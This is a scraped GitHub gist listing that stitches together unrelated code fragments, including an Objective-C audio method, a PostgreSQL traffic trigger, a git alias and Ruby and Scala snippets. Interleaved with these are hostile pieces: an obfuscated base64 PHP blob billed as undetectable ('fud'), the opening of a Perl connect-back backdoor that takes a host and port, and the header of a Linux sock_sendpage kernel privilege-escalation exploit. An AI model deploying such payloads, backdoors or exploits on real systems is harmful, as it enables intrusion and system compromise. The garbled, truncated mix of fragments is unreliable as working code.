Skip to content

Instantly share code, notes, and snippets.

@fbettag
fbettag / libsox.m
Created April 13, 2011 20:23
libsoxx method in objective-c
#import "sox.h"
- (NSString *)transformAudioFileAtPath:(NSString *)path profile:(int)tprofile {
static sox_format_t *in, *out; /* input and output files */
sox_effects_chain_t * chain;
sox_effect_t * e;
char *args[10];
NSString *target = [path stringByReplacingOccurrencesOfString:@".0.wav" withString:[NSString stringWithFormat:@".%i.wav", tprofile]];
target = [target stringByReplacingOccurrencesOfString:@"Hoersimulator.app" withString:@"Documents"];
@fbettag
fbettag / dork.rb
Created May 24, 2011 00:46
Ruby Google Dork
#!/usr/bin/ruby
# encoding: utf-8
# Copyright (c) 2011, Franz Bettag <franz@bett.ag>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
@fbettag
fbettag / pgtraffictrigger.plsql
Created June 5, 2011 22:03
PostgreSQL Traffic Trigger
CREATE FUNCTION update_traffic_per_ip()
RETURNS trigger AS $traffic_update$
DECLARE
ip INET;
input DOUBLE PRECISION;
output DOUBLE PRECISION;
total DOUBLE PRECISION;
month VARCHAR(2);
year SMALLINT;
BEGIN
#import "FlowCoverView.h"
@interface FlowCoverViewController : UIViewController {
}
@end
[alias]
sync = "!~/path/to/git-sync"
666
<?php /* WARNING: This file is protected encrypted via fud file no detecding. */
$o="QAFzOzh3b3cNKAAAVi0oBpAAMAAAFSckJwAQAFK/9wCAJwCSAFIAAAknBZ8AAAYnBGEAQQVxAEAAsSQDzwAABScCwf79CLMDkAAwAQMD3wAABScC0SQAUwB0BCED3wAABCcDFiQAEj//JycBFAPvAAAEJwLUA2ED8QCBB7EPbwAABScD5gdQAMkHz//gAAAEJwcQBsIAgAA0APMD7wAABCcAAAgkA+8AABQnVTIwJ3QO/29ia2sD/wAAAicK5CQPYgDTALUD/wAAAScDEA6CFsH//wDAADIAwQFSF58AAAInAyACwgNRAMAAMgDBAVIEHwAAAycDMP3/AtEDUQCwADIAwAExJAQPAAADJwMgAtIDUACwADEAoQEy//8EDwAABCci0jLyA9EA4i/xFGAUHwAABCcDKQDJA+8AAAYnA0ILAPgQADgPpAQgAABVLU8BJ3l5eSc4ABUneydIAQN3c25oaXQnAZItKA0NKCgCAwBkACR7J0tmaWByZmBiAaEjawDUOiAEAHVyICcqAlM4OCcvdXJ0dG5mIwJpLgJsYmlgAnEAcGtudG8nLwelOBnAOC4NBNgCACA8B8cCZgoQRnJzb2JpA0FzbmFuZGYKsQYSZgFQJzonNjwIN6DhA0QnAIQ4JycvJwJxA8kDMEhpJycKU94LAdEBEDcETwRGDYAETzonSGFhBEAjBBcLpz8AJzgD1ABxAEEI8QFWBQBLaGBuaSchJwAAV2Z0dHBodWMnYWh1J2ZkZB/gYnR0CXIUwAMxAEED9wDpAMQB1SYmJicvAB9ET0ZJQEInU09OVAEABIQCkAeWAuXw+AXhAMUAhQFAamMyKwD2AJAAMAPgADEnIHUaADIwIBdBC5V3C5VkdX53c2JjJ3AIAW5zbycEImNiYWZya3MnbnQDdYAAAABWLSgNYnV1aHVYdWJ
#!/usr/bin/perl
use Socket;
$0 = 'lpd';
print "Data Cha0s Connect Back Backdoorn\n";
if (!$ARGV[0]) {printf "Usage: $0 [Host] <Port>\n";exit(1);}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 50000;
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
class DnsRecord
include DataMapper::Resource
# property <name>, <type>
property :id, Serial
property :name, String, :required => false, :length => 255,
:index => [:name, :name_active_zone, :name_active_rtype_zone]
property :type, String, :required => true, :default => 'a', :length => 10,
class Clock extends CometActor {
override def defaultPrefix = Full("clk")
// schedule a ping every 10 seconds so we redraw
ActorPing.schedule(this, Tick, 10 seconds)
def render = csssel
def csssel = "#time *" #> timeNow.toString
override def lowPriority = {
case Tick =>